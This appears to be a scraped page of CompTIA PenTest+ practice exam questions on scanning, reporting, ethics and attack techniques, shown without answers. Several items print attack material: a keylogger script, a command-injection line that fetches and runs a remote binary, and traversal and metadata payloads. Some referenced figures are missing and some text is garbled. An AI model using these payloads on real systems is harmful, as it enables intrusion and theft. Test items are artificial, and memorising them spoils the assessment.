Labour Day Special Limited Time Flat 70% Discount offer - Ends in 0d 00h 00m 00s - Coupon code: 70spcl

CompTIA PT0-002 CompTIA PenTest+ Certification Exam Exam Practice Test

Page: 1 / 40
Total 396 questions

CompTIA PenTest+ Certification Exam Questions and Answers

Question 1

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

import pyHook, sys, logging, pythoncom, datetime

log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):

logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii)

logging.log(10, chr(event.Ascii))

return True

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = KbrdEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Which of the following is the intended effect of this script?

Options:

A.

Debugging an exploit

B.

Keylogging

C.

Collecting logs

D.

Scheduling tasks

Question 2

During a vulnerability scan a penetration tester enters the following Nmap command against all of the non-Windows clients:

nmap -sX -T4 -p 21-25, 67, 80, 139, 8080 192.168.11.191

The penetration tester reviews the packet capture in Wireshark and notices that the target responds with an RST packet flag set for all of the targeted ports. Which of the following does this information most likely indicate?

Options:

A.

All of the ports in the target range are closed.

B.

Nmap needs more time to scan the ports in the target range.

C.

The ports in the target range cannot be scanned because they are common UDP ports.

D.

All of the ports in the target range are open

Question 3

Which of the following tools would be the best to use to intercept an HTTP response at an API, change its content, and forward it back to the origin mobile device?

Options:

A.

Drozer

B.

Burp Suite

C.

Android SDK Tools

D.

MobSF

Question 4

A penetration tester is performing a vulnerability scan on a large ATM network. One of the organization's requirements is that the scan does not affect legitimate clients' usage of the ATMs. Which of the following should the tester do to best meet the company's vulnerability scan requirements?

Options:

A.

Use Nmap's -T2 switch to run a slower scan and with less resources.

B.

Run the scans using multiple machines.

C.

Run the scans only during lunch hours.

D.

Use Nmap's -host-timeout switch to skip unresponsive targets.

Question 5

A penetration tester is enumerating shares and receives the following output:

Question # 5

Which of the following should the penetration tester enumerate next?

Options:

A.

dev

B.

print$

C.

home

D.

notes

Question 6

A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?

Options:

A.

Add thepasswords to an appendix in the penetration test report.

B.

Do nothing. Using passwords from breached data is unethical.

C.

Contactthe client and inform them of the breach.

D.

Use thepasswords in a credential stuffing attack when the external penetration test begins.

Question 7

A penetration testing firm wants to hire three additional consultants to support a newly signed long-term contract with a major customer. The following is a summary of candidate

background checks:

Question # 7

Which of the following candidates should most likely be excluded from consideration?

Options:

A.

Candidate 1

B.

Candidate 2

C.

Candidate 3

D.

Candidate 4

Question 8

A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.

INSTRUCTIONS

Select the tool the penetration tester should use for further investigation.

Select the two entries in the robots.txt file that the penetration tester should recommend for removal.

Question # 8

Options:

Question 9

A penetration tester is reviewing the security of a web application running in an laaS compute instance. Which of the following payloads should the tester send to get the running process credentials?

Options:

A.

file=http://192.168. 1. 78?+document.cookie

B.

file =.. / .. / .. /proc/self/environ

C.

file='%20or%2054365=54365 ;--

D.

file=http://169.254.169.254/latest/meta-data/

Question 10

A penetration tester uses Hashcat to crack hashes discovered during a penetration test and obtains the following output:

ad09cd16529b5f5a40a3e15344e57649f4a43a267a97f008af01af803603c4c8 : Summer2023 !!

7945bb2bb08731fc8d57680ffa4aefec91c784d231de029c610b778eda5ef48b:p@ssWord123

ea88ceab69cb2fb8bdcf9ef4df884af219fffbffab473ec13f20326dc6f84d13: Love-You999

Which of the following is the best way to remediate the penetration tester's discovery?

Options:

A.

Requiring passwords to follow complexity rules

B.

Implementing a blocklist of known bad passwords

C.

Setting the minimum password length to ten characters

D.

Encrypting the passwords with a stronger algorithm

Question 11

Which of the following is most important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?

Options:

A.

Executive summary of the penetration-testing methods used

B.

Bill of materials including supplies, subcontracts, and costs incurred during assessment

C.

Quantitative impact assessments given a successful software compromise

D.

Code context for instances of unsafe typecasting operations

Question 12

Which of the following is the most common vulnerability associated with loT devices that are directly connected to the internet?

Options:

A.

Unsupported operating systems

B.

Susceptibility to DDoS attacks

C.

Inability to network

D.

The existence of default passwords

Question 13

A penetration tester is reviewing the logs of a proxy server and discovers the following URLs:

https://test.comptia.com/profile.php?userid=1546

https://test.cpmptia.com/profile.php?userid=5482

https://test.comptia.com/profile.php?userid=3618

Which of the following types of vulnerabilities should be remediated?

Options:

A.

Insecure direct object reference

B.

Improper error handling

C.

Race condition

D.

Weak or default configurations

Question 14

A penetration tester developed the following script to be used during an engagement:

#!/usr/bin/python

import socket, sys

ports = [21, 22, 23, 25, 80, 139, 443, 445, 3306, 3389]

if len(sys.argv) > 1:

target = socket.gethostbyname (sys. argv [0])

else:

print ("Few arguments.")

print ("Syntax: python {} ". format (sys. argv [0]))

sys.exit ()

try:

for port in ports:

s = socket. socket (socket. AF_INET, socket. SOCK_STREAM)

s.settimeout (2)

result = s.connect_ex ((target, port) )

if result == 0:

print ("Port {} is opened". format (port) )

except KeyboardInterrupt:

print ("\nExiting ... ")

sys.exit ()

However, when the penetration tester ran the script, the tester received the following message:

socket.gaierror: [Errno -2] Name or service not known

Which of the following changes should the penetration tester implement to fix the script?

Options:

A.

From:

target = socket.gethostbyname (sys. argv [0])

To:

target = socket.gethostbyname (sys.argv[1])

B.

From:

s = socket. socket (socket. AF_INET, socket. SOCK_STREAM)

To:

s = socket.socket (socket.AF_INET, socket. SOCK_DGRAM)

C.

From:

import socket, sys

To:

import socket

import sys

D.

From:

result = s.connect_ex ((target, port) )

To:

result = s.connect ( (target, port) )

Question 15

Which of the following tools would be best to use to conceal data in various kinds of image files?

Options:

A.

Kismet

B.

Snow

C.

Responder

D.

Metasploit

Question 16

A penetration tester is preparing a credential stuffing attack against a company's website. Which of the following can be used to passively get the most relevant information?

Options:

A.

Shodan

B.

BeEF

C.

HavelBeenPwned

D.

Maltego

Question 17

A penetration tester is conducting an assessment on 192.168.1.112. Given the following output:

[ATTEMPT] target 192.168.1.112 - login "root" - pass "abcde"

[ATTEMPT] target 192.168.1.112 - login "root" - pass "edcfg"

[ATTEMPT] target 192.168.1.112 - login "root" - pass "qazsw"

[ATTEMPT] target 192.168.1.112 - login "root" – pass “tyuio”

Which of the following is the penetration tester conducting?

Options:

A.

Port scan

B.

Brute force

C.

Credential stuffing

D.

DoS attack

Question 18

During a client engagement, a penetration tester runs the following Nmap command and obtains the following output:

nmap -sV -- script ssl-enum-ciphers -p 443 remotehost

| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA

| TLS_ECDHE_RSA_WITH_RC4_128_SHA

TLS_RSA_WITH_RC4_128_SHA (rsa 2048)

TLS_RSA_WITH_RC4_128_MD5 (rsa 2048)

Which of the following should the penetration tester include in the report?

Options:

A.

Old, insecure ciphers are in use.

B.

The 3DES algorithm should be deprecated.

C.

2,048-bit symmetric keys are incompatible with MD5.

D.

This server should be upgraded to TLS 1.2.

Question 19

Given the following user-supplied data:

www.comptia.com/info.php?id=1 AND 1=1

Which of the following attack techniques is the penetration tester likely implementing?

Options:

A.

Boolean-based SQL injection

B.

Time-based SQL injection

C.

Stored cross-site scripting

D.

Reflected cross-site scripting

Question 20

Which of the following would be the most efficient way to write a Python script that interacts with a web application?

Options:

A.

Create a class for requests.

B.

Write a function for requests.

C.

Import the requests library.

D.

Use the cURL OS command.

Question 21

During an engagement, a penetration tester was able to upload to a server a PHP file with the following content:

Which of the following commands should the penetration tester run to successfully achieve RCE?

Options:

A.

python3 -c "import requests;print (requests.post (url='http://172.16.200.10/uploads/shell.php ', data={'cmd=id'}))"

B.

python3 -c "import requests;print (requests.post(url='http://172.16.200.10/uploads/shell.php ', data=

('cmd':'id') ) .text) "

C.

python3 -c "import requests;print (requests.get (url='http://172.16.200.10/uploads/shell.php ', params=

{'cmd':'id'}) )"

D.

python3 -c "import requests;print (requests.get (url='http://172.16.200.10/uploads/shell.php ', params=

('cmd':'id'}) .text) "

Question 22

Which of the following documents would be the most helpful in determining who is at fault for a temporary outage that occurred during a penetration test?

Options:

A.

Non-disclosure agreement

B.

Business associate agreement

C.

Assessment scope and methodologies

D.

Executive summary

Question 23

A penetration tester noticed that an employee was using a wireless headset with a smartphone. Which of the following methods would be best to use to intercept the communications?

Options:

A.

Multiplexing

B.

Bluejacking

C.

Zero-day attack

D.

Smurf attack

Question 24

A penetration tester is performing an assessment for an organization and must gather valid user credentials. Which of the following attacks would be best for the tester to use to achieve this objective?

Options:

A.

Wardriving

B.

Captive portal

C.

Deauthentication

D.

Impersonation

Question 25

A penetration testing firm performs an assessment every six months for the same customer. While performing network scanning for the latest assessment, the penetration tester observes that several of the target hosts appear to be residential connections associated with a major television and ISP in the area. Which of the following is the most likely reason for the observation?

Options:

A.

The penetration tester misconfigured the network scanner.

B.

The network scanning tooling is not functioning properly.

C.

The IP ranges changed ownership.

D.

The network scanning activity is being blocked by a firewall.

Question 26

A security analyst is conducting an unknown environment test from 192.168 3.3. The analyst wants to limit observation of the penetration tester's activities and lower the probability of detection by intrusion protection and detection systems. Which of the following Nmap commands should the analyst use to achieve This objective?

Options:

A.

Nmap –F 192.168.5.5

B.

Map –datalength 2.192.168.5.5

C.

Nmap –D 10.5.2.2.168.5.5

D.

Map –scanflags SYNFIN 192.168.5.5

Question 27

Which of the following elements of a penetration testing report aims to provide a normalized and standardized representation of discovered vulnerabilities and the overall threat they present to an affected system or network?

Options:

A.

Executive summary

B.

Vulnerability severity rating

C.

Recommendations of mitigation

D.

Methodology

Question 28

Which of the following is the most important aspect to consider when calculating the price of a penetration test service for a client?

Options:

A.

Operating cost

B.

Required scope of work

C.

Non-disclosure agreement

D.

Client's budget

Question 29

For an engagement, a penetration tester is required to use only local operating system tools for file transfer. Which of the following options should the penetration tester consider?

Options:

A.

Netcat

B.

WinSCP

C.

Filezilla

D.

Netstat

Question 30

Which of the following should be included in scope documentation?

Options:

A.

Service accounts

B.

Tester experience

C.

Disclaimer

D.

Number of tests

Question 31

A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.

INSTRUCTIONS

Select the appropriate answer(s), given the output from each section.

Output 1

Question # 31

Question # 31

Question # 31

Question # 31

Question # 31

Question # 31

Options:

Question 32

A penetration tester approaches a company employee in the smoking area and starts a conversation about the company's recent social event. After a few minutes, the employee holds the badge-protected door open for the penetration tester and both enter the company's building. Which of the following attacks did the penetration tester perform?

Options:

A.

Dumpster diving

B.

Phishing

C.

Badge cloning

D.

Tailgating

Question 33

Which of the following types of information would most likely be included in an application security assessment report addressed to developers? (Select two).

Options:

A.

Use of non-optimized sort functions

B.

Poor input sanitization

C.

Null pointer dereferences

D.

Non-compliance with code style guide

E.

Use of deprecated Javadoc tags

F.

A cyclomatic complexity score of 3

Question 34

A penetration tester was hired to test Wi-Fi equipment. Which of the following tools should be used to gather information about the wireless network?

Options:

A.

Kismet

B.

Burp Suite

C.

BeEF

D.

WHOIS

Question 35

A penetration tester is testing a company's public API and discovers that specific input allows the execution of arbitrary commands on the base operating system. Which of the following actions should the penetration tester take next?

Options:

A.

Include the findings in the final report.

B.

Notify the client immediately.

C.

Document which commands can be executed.

D.

Use this feature to further compromise the server.

Question 36

During a vulnerability scan a penetration tester enters the following Nmap command against all of the non-Windows clients:

nmap -sX -T4 -p 21-25, 67, 80, 139, 8080 192.168.11.191

The penetration tester reviews the packet capture in Wireshark and notices that the target responds with an RST packet flag set for all of the targeted ports. Which of the following does this information most likely indicate?

Options:

A.

All of the ports in the target range are closed.

B.

Nmap needs more time to scan the ports in the target range.

C.

The ports in the target range cannot be scanned because they are common UDP ports.

D.

All of the ports in the target range are open.

Question 37

A penetration tester is conducting a test after hours and notices a critical system was taken down. Which of the following contacts should be notified first?

Options:

A.

Secondary

B.

Emergency

C.

Technical

D.

Primary

Question 38

During a vulnerability scanning phase, a penetration tester wants to execute an Nmap scan using custom NSE scripts stored in the following folder:

/home/user/scripts

Question # 38

Which of the following commands should the penetration tester use to perform this scan?

Options:

A.

nmap resume "not intrusive"

B.

nmap script default safe

C.

nmap script /home/user/scripts

D.

nmap -load /home/user/scripts

Question 39

A penetration tester wants to find the password for any account in the domain without locking any of the accounts. Which of the following commands should the tester use?

Options:

A.

enum4linux -u userl -p /passwordList.txt 192.168.0.1

B.

enum4linux -u userl -p Passwordl 192.168.0.1

C.

cme smb 192.168.0.0/24 -u /userList.txt -p /passwordList.txt

D.

cme smb 192.168.0.0/24 -u /userList.txt -p Summer123

Question 40

A client asks a penetration tester to retest its network a week after the scheduled maintenance window. Which of the following is the client attempting to do?

Options:

A.

Determine if the tester was proficient.

B.

Test a new non-public-facing server for vulnerabilities.

C.

Determine if the initial report is complete.

D.

Test the efficacy of the remediation effort.

Question 41

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

Options:

A.

Implement a recurring cybersecurity awareness education program for all users.

B.

Implement multifactor authentication on all corporate applications.

C.

Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.

D.

Implement an email security gateway to block spam and malware from email communications.

Question 42

Which of the following describes the reason why a penetration tester would run the command sdelete mimikatz. * on a Windows server that the tester compromised?

Options:

A.

To remove hash-cracking registry entries

B.

To remove the tester-created Mimikatz account

C.

To remove tools from the server

D.

To remove a reverse shell from the system

Question 43

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.

Which of the following should the tester verify FIRST to assess this risk?

Options:

A.

Whether sensitive client data is publicly accessible

B.

Whether the connection between the cloud and the client is secure

C.

Whether the client's employees are trained properly to use the platform

D.

Whether the cloud applications were developed using a secure SDLC

Question 44

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.

Which of the following should be included as a recommendation in the remediation report?

Options:

A.

Stronger algorithmic requirements

B.

Access controls on the server

C.

Encryption on the user passwords

D.

A patch management program

Question 45

Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

Options:

A.

The libraries may be vulnerable

B.

The licensing of software is ambiguous

C.

The libraries’ code bases could be read by anyone

D.

The provenance of code is unknown

E.

The libraries may be unsupported

F.

The libraries may break the application

Question 46

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

Options:

A.

chmod u+x script.sh

B.

chmod u+e script.sh

C.

chmod o+e script.sh

D.

chmod o+x script.sh

Question 47

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

Options:

A.

Open-source research

B.

A ping sweep

C.

Traffic sniffing

D.

Port knocking

E.

A vulnerability scan

F.

An Nmap scan

Question 48

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Question # 48

Options:

Question 49

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

Options:

A.

Nmap

B.

tcpdump

C.

Scapy

D.

hping3

Question 50

A penetration tester runs the following command on a system:

find / -user root –perm -4000 –print 2>/dev/null

Which of the following is the tester trying to accomplish?

Options:

A.

Set the SGID on all files in the / directory

B.

Find the /root directory on the system

C.

Find files with the SUID bit set

D.

Find files that were created during exploitation and move them to /dev/null

Question 51

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST

Nmap scan report for ( 10.2.1.22 )

Host is up (0.0102s latency).

Not shown: 998 filtered ports

Port State Service

80/tcp open http

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

Options:

A.

Network device

B.

Public-facing web server

C.

Active Directory domain controller

D.

IoT/embedded device

E.

Exposed RDP

F.

Print queue

Question 52

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

• The following request was intercepted going to the network device:

GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0

Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk

• Network management interfaces are available on the production network.

• An Nmap scan returned the following:

Question # 52

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

Options:

A.

Enforce enhanced password complexity requirements.

B.

Disable or upgrade SSH daemon.

C.

Disable HTTP/301 redirect configuration.

D.

Create an out-of-band network for management.

E.

Implement a better method for authentication.

F.

Eliminate network management and control interfaces.

Question 53

A penetration tester who is performing a physical assessment of a company’s security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

Options:

A.

Badge cloning

B.

Dumpster diving

C.

Tailgating

D.

Shoulder surfing

Question 54

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

Options:

A.

VRFY and EXPN

B.

VRFY and TURN

C.

EXPN and TURN

D.

RCPT TO and VRFY

Question 55

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

Options:

A.

ROE

B.

SLA

C.

MSA

D.

NDA

Question 56

Which of the following BEST describe the OWASP Top 10? (Choose two.)

Options:

A.

The most critical risks of web applications

B.

A list of all the risks of web applications

C.

The risks defined in order of importance

D.

A web-application security standard

E.

A risk-governance and compliance framework

F.

A checklist of Apache vulnerabilities

Question 57

A penetration tester received a .pcap file to look for credentials to use in an engagement.

Which of the following tools should the tester utilize to open and read the .pcap file?

Options:

A.

Nmap

B.

Wireshark

C.

Metasploit

D.

Netcat

Question 58

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

Options:

A.

Exploiting a configuration weakness in the SQL database

B.

Intercepting outbound TLS traffic

C.

Gaining access to hosts by injecting malware into the enterprise-wide update server

D.

Leveraging a vulnerability on the internal CA to issue fraudulent client certificates

E.

Establishing and maintaining persistence on the domain controller

Question 59

A penetration tester is explaining the MITRE ATT&CK framework to a company’s chief legal counsel.

Which of the following would the tester MOST likely describe as a benefit of the framework?

Options:

A.

Understanding the tactics of a security intrusion can help disrupt them.

B.

Scripts that are part of the framework can be imported directly into SIEM tools.

C.

The methodology can be used to estimate the cost of an incident better.

D.

The framework is static and ensures stability of a security program overtime.

Question 60

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider’s metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

Options:

A.

Cross-site request forgery

B.

Server-side request forgery

C.

Remote file inclusion

D.

Local file inclusion

Question 61

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client’s building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet.

Which of the following tools or techniques would BEST support additional reconnaissance?

Options:

A.

Wardriving

B.

Shodan

C.

Recon-ng

D.

Aircrack-ng

Question 62

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

Options:

A.

Halt the penetration test.

B.

Contact law enforcement.

C.

Deconflict with the penetration tester.

D.

Assume the alert is from the penetration test.

Question 63

A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

Options:

A.

Steganography

B.

Metadata removal

C.

Encryption

D.

Encode64

Question 64

You are a penetration tester reviewing a client’s website through a web browser.

INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present.

Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Question # 64

Question # 64

Question # 64

Question # 64

Question # 64

Question # 64

Question # 64

Options:

Question 65

A penetration tester ran the following commands on a Windows server:

Question # 65

Which of the following should the tester do AFTER delivering the final report?

Options:

A.

Delete the scheduled batch job.

B.

Close the reverse shell connection.

C.

Downgrade the svsaccount permissions.

D.

Remove the tester-created credentials.

Question 66

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

Options:

A.

Enforce mandatory employee vacations

B.

Implement multifactor authentication

C.

Install video surveillance equipment in the office

D.

Encrypt passwords for bank account information

Question 67

The results of an Nmap scan are as follows:

Question # 67

Which of the following would be the BEST conclusion about this device?

Options:

A.

This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.

B.

This device is most likely a gateway with in-band management services.

C.

This device is most likely a proxy server forwarding requests over TCP/443.

D.

This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Question 68

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

Options:

A.

The penetration tester conducts a retest.

B.

The penetration tester deletes all scripts from the client machines.

C.

The client applies patches to the systems.

D.

The client clears system logs generated during the test.

Question 69

Given the following code:

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

Options:

A.

Web-application firewall

B.

Parameterized queries

C.

Output encoding

D.

Session tokens

E.

Input validation

F.

Base64 encoding

Question 70

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

Options:

A.

MD5

B.

bcrypt

C.

SHA-1

D.

PBKDF2

Question 71

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client’s new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

Options:

A.

Establish the format required by the client.

B.

Establish the threshold of risk to escalate to the client immediately.

C.

Establish the method of potential false positives.

D.

Establish the preferred day of the week for reporting.

Question 72

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

exploit = “POST ”

exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –

c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache’%0A%27 &loginUser=a&Pwd=a”

exploit += “HTTP/1.1”

Which of the following commands should the penetration tester run post-engagement?

Options:

A.

grep –v apache ~/.bash_history > ~/.bash_history

B.

rm –rf /tmp/apache

C.

chmod 600 /tmp/apache

D.

taskkill /IM “apache” /F

Question 73

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

  • Pre-engagement interaction (scoping and ROE)
  • Intelligence gathering (reconnaissance)
  • Threat modeling
  • Vulnerability analysis
  • Exploitation and post exploitation
  • Reporting

Which of the following methodologies does the client use?

Options:

A.

OWASP Web Security Testing Guide

B.

PTES technical guidelines

C.

NIST SP 800-115

D.

OSSTMM

Question 74

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be

valid?

Options:

A.

PLCs will not act upon commands injected over the network.

B.

Supervisors and controllers are on a separate virtual network by default.

C.

Controllers will not validate the origin of commands.

D.

Supervisory systems will detect a malicious injection of code/commands.

Question 75

A penetration tester has been given eight business hours to gain access to a client’s financial system. Which of the following techniques will have the highest likelihood of success?

Options:

A.

Attempting to tailgate an employee going into the client's workplace

B.

Dropping a malicious USB key with the company’s logo in the parking lot

C.

Using a brute-force attack against the external perimeter to gain a foothold

D.

Performing spear phishing against employees by posing as senior management

Question 76

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company’s servers. Which of the following actions would BEST enable the tester to perform

phishing in a later stage of the assessment?

Options:

A.

Test for RFC-defined protocol conformance.

B.

Attempt to brute force authentication to the service.

C.

Perform a reverse DNS query and match to the service banner.

D.

Check for an open relay configuration.

Question 77

A penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?

Options:

A.

Pick a lock.

B.

Disable the cameras remotely.

C.

Impersonate a package delivery worker.

D.

Send a phishing email.

Question 78

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

Options:

A.

A signed statement of work

B.

The correct user accounts and associated passwords

C.

The expected time frame of the assessment

D.

The proper emergency contacts for the client

Question 79

Which of the following is the MOST effective person to validate results from a penetration test?

Options:

A.

Third party

B.

Team leader

C.

Chief Information Officer

D.

Client

Question 80

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

Options:

A.

Aircrack-ng

B.

Wireshark

C.

Wifite

D.

Kismet

Question 81

Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

Options:

A.

After detection of a breach

B.

After a merger or an acquisition

C.

When an organization updates its network firewall configurations

D.

When most of the vulnerabilities have been remediated

Question 82

A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version data information for services running on Projects. Which of the following Nmap commands should the tester use?

Options:

A.

..nmap -sU -sV -T4 -F target.company.com

B.

..nmap -sS -sV -F target.company.com

C.

..nmap -sT -v -T5 target.company.com

D.

..nmap -sX -sC target.company.com

Question 83

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

Options:

A.

security compliance regulations or laws may be violated.

B.

testing can make detecting actual APT more challenging.

C.

testing adds to the workload of defensive cyber- and threat-hunting teams.

D.

business and network operations may be impacted.

Question 84

During an assessment, a penetration tester found a suspicious script that could indicate a prior compromise. While reading the script, the penetration tester noticed the following lines of code:

Question # 84

Which of the following was the script author trying to do?

Options:

A.

Spawn a local shell.

B.

Disable NIC.

C.

List processes.

D.

Change the MAC address

Question 85

A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

Options:

A.

Launch an external scan of netblocks.

B.

Check WHOIS and netblock records for the company.

C.

Use DNS lookups and dig to determine the external hosts.

D.

Conduct a ping sweep of the company's netblocks.

Question 86

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

Options:

A.

Nessus

B.

Metasploit

C.

Burp Suite

D.

Ethercap

Question 87

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following:

python -c 'import pty; pty.spawn("/bin/bash")'

Which of the following actions Is the penetration tester performing?

Options:

A.

Privilege escalation

B.

Upgrading the shell

C.

Writing a script for persistence

D.

Building a bind shell

Question 88

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

Options:

A.

Prying the lock open on the records room

B.

Climbing in an open window of the adjoining building

C.

Presenting a false employee ID to the night guard

D.

Obstructing the motion sensors in the hallway of the records room

Question 89

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

Options:

A.

windows/x64/meterpreter/reverse_tcp

B.

windows/x64/meterpreter/reverse_http

C.

windows/x64/shell_reverse_tcp

D.

windows/x64/powershell_reverse_tcp

E.

windows/x64/meterpreter/reverse_https

Question 90

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

Options:

A.

/var/log/messages

B.

/var/log/last_user

C.

/var/log/user_log

D.

/var/log/lastlog

Question 91

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

Options:

A.

Deny that the vulnerability existed

B.

Investigate the penetration tester.

C.

Accept that the client was right.

D.

Fire the penetration tester.

Question 92

During the reconnaissance phase, a penetration tester obtains the following output:

Reply from 192.168.1.23: bytes=32 time<54ms TTL=128

Reply from 192.168.1.23: bytes=32 time<53ms TTL=128

Reply from 192.168.1.23: bytes=32 time<60ms TTL=128

Reply from 192.168.1.23: bytes=32 time<51ms TTL=128

Which of the following operating systems is MOST likely installed on the host?

Options:

A.

Linux

B.

NetBSD

C.

Windows

D.

macOS

Question 93

A penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?

Options:

A.

-а8 -T0

B.

--script "http*vuln*"

C.

-sn

D.

-O -A

Question 94

